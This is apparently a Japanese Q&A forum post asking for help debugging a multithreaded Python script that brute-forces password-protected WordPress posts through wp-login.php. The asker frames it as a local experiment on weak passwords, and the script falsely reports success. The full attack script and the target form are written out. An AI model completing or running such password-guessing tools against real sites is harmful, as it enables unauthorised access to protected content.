前提・実現したいこと
実験として、パスワード保護されたWordPressページに総当たり攻撃をかけるPythonプログラムを書いています。
(例えば、仮に英数字3文字のパスワードを用いたら、どれほど簡単に突破されてしまうか、といった実験です。)
第三者サーバーではなく、Localで適当にやってみて実験しております。
手順としては、
- パスワードを入れる前のWordPressページを解析する
- パスワードを総当たりで順に入力していく
- 入力した結果を解析
- パスワードを入力する用のHTMLフォームが見つからなかったら、入れたと判断
という感じです。
より詳しく説明すると、パスワードを入力する前のHTMLには
HTML
1<div class="row"> 2 <div class="eight columns centered entry-main"> 3 <form action="http://www.example.net/wp-login.php?action=postpass" class="post-password-form" method="post"> 4<p>このコンテンツはパスワードで保護されています。閲覧するには以下にパスワードを入力してください。</p> 5<p><label for="pwbox-1234">パスワード <input name="post_password" id="pwbox-1234" type="password" size="20" /></label> <input type="submit" name="Submit" value="送信" /></p> 6</p></form> 7 </div> 8 </div>
という感じのformがあり、それに総当たり攻撃を仕掛けてみようということです。
発生している問題・エラーメッセージ
パスワードがxyzになっているWordPressページで実験してみるとして、デバッグ用にパスワードの候補をabcのみにして実行してみたところ、
[*] Started HTML Form Brute-Forcer Script [*] Attempting abc [*] Attempting abc [*] Brute-Force Attempt is Successful! [*] Password: abc [*] Done
と、明らかに違うのに正しいパスワードとして出力されます。
もしかしたら、
python
1brute_force_request = urllib.request.Request(post_url, headers=headers) 2brute_force_response = urllib.request.urlopen(brute_force_request, data=post_data)
で返ってくるWebページの結果をちゃんと解析できてないのかな、と思うのですが、どこを修正すればいいのか今一つ見当がつきません...。
パスワードが間違っていたならば、返ってくるWebページにはちゃんと<form>要素は含まれ、それを検知してまだログインできていないと認識できるはずなのですが。
該当のソースコード
python
1from html.parser import HTMLParser 2import urllib.request 3import urllib.parse 4import http.cookiejar 5import queue 6import threading 7import sys 8import os 9import itertools 10 11threads = 5 12resume_word = None 13headers = {} 14target_url = "http://www.example.net/archives/1234" #パスワード保護がかかっているWordPressページを対象に検証を行う 15post_url = "http://www.example.net/wp-login.php?action=postpass" #このphpファイルを経由して処理が行われるらしい 16password_field = "post_password" #パースしたHTML内にpost_passwordという項目があれば、まだページに入れていないと判断 17 18class BruteForcer(): 19 def __init__(self, passwd_q): 20 self.passwd_q = passwd_q 21 self.found = False 22 23 def html_brute_forcer(self): 24 while not self.found: 25 #クッキーを有効にする 26 cookiejar = http.cookiejar.FileCookieJar("cookies") 27 opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookiejar)) 28 urllib.request.install_opener(opener) 29 30 request = urllib.request.Request(target_url, headers=headers) 31 response = urllib.request.urlopen(request) 32 33 #stringに変換 34 page = str(response.read())[2:-1] 35 36 #HTMLフォームをパースする 37 parsed_html = BruteParser() 38 parsed_html.feed(page) 39 40 if password_field in parsed_html.parsed_results.keys(): 41 parsed_html.parsed_results[password_field] = self.passwd_q 42 43 print(f"[*] Attempting {parsed_html.parsed_results[password_field]}") 44 45 post_data = urllib.parse.urlencode(parsed_html.parsed_results).encode() 46 47 brute_force_request = urllib.request.Request(post_url, headers=headers) 48 brute_force_response = urllib.request.urlopen(brute_force_request, data=post_data) 49 50 #stringに変換 51 brute_force_page = str(brute_force_response.read())[2:-1] 52 53 #HTMLフォームをパースする 54 brute_force_parsed_html = BruteParser() 55 brute_force_parsed_html.feed(brute_force_page) 56 57 if not brute_force_parsed_html.parsed_results: 58 self.found= True 59 print("[*] Brute-Force Attempt is Successful!") 60 print(f"[*] Password: {parsed_html.parsed_results[password_field]}") 61 print("[*] Done") 62 print(brute_force_page) 63 os._exit(0) 64 else: 65 print("[!] HTML Page is Invalid") 66 #break 67 68 #複数スレッドで総当たり 69 def html_brute_forcer_thread_starter(self): 70 for i in range(threads): 71 html_brute_forcer_thread = threading.Thread(target=self.html_brute_forcer) 72 html_brute_forcer_thread.start() 73 74class BruteParser(HTMLParser): 75 def __init__(self): 76 HTMLParser.__init__(self) 77 self.parsed_results = {} 78 79 def handle_starttag(self, tag, attrs): 80 if tag == "input": 81 for name, value in attrs: 82 if name == "name" and value == password_field: 83 self.parsed_results[password_field] = password_field 84 85 86print("[*] Started HTML Form Brute-Forcer Script") 87http.cookiejar.FileCookieJar("cookies").clear() 88combos=itertools.product("abcdefghijklmnopqrstuvwxyz1234567890", repeat=3) 89for passwd_q in combos: 90 passwd_q = ''.join(passwd_q) 91 attempt_brute_force = BruteForcer(passwd_q) 92 attempt_brute_force.html_brute_forcer_thread_starter()
試してみたこと
print(brute_force_page)
でパスワードを入れてリクエストしか結果を確認しようとしても、そのデータが出力されません。
バッドをするには、ログインかつ
こちらの条件を満たす必要があります。